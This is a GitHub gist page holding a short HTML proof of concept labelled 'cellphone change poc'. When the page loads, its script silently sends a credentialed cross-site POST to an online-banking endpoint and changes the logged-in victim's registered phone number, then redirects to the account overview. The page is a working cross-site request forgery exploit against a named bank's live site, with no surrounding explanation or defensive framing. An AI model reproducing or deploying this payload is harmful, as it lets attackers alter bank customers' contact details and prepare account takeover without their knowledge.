Created
August 28, 2018 17:51
-
-
Save cedriczirtacic/14fdfbf4857e30b10ece88c78c05d763 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script type="text/javascript" src="https://blue.baccredomatic.com/js/jquery-3.3.1.min.js"></script> | |
</head> | |
<body onload="change();"> | |
<p>cellphone change poc</p> | |
<script type="text/javascript"> | |
function change() | |
{ | |
var paramsValues = {cellPhoneNumber: "12345678" }; | |
$.ajax({ | |
dataType : "json", | |
contentType : "application/x-www-form-urlencoded;charset=UTF-8", | |
cache : false, | |
type : "POST", | |
url : "https://www1.sucursalelectronica.com/ebac/common/saveOrUpdatePhoneNumber.go", | |
data : paramsValues, | |
xhrFields: { | |
withCredentials: true | |
}, | |
crossDomain: true, | |
}); | |
setTimeout(function() { | |
document.location.href = "https://www1.sucursalelectronica.com/ebac/module/consolidatedQuery/consolidatedQuery.go"; | |
}, 1000); | |
return true; | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment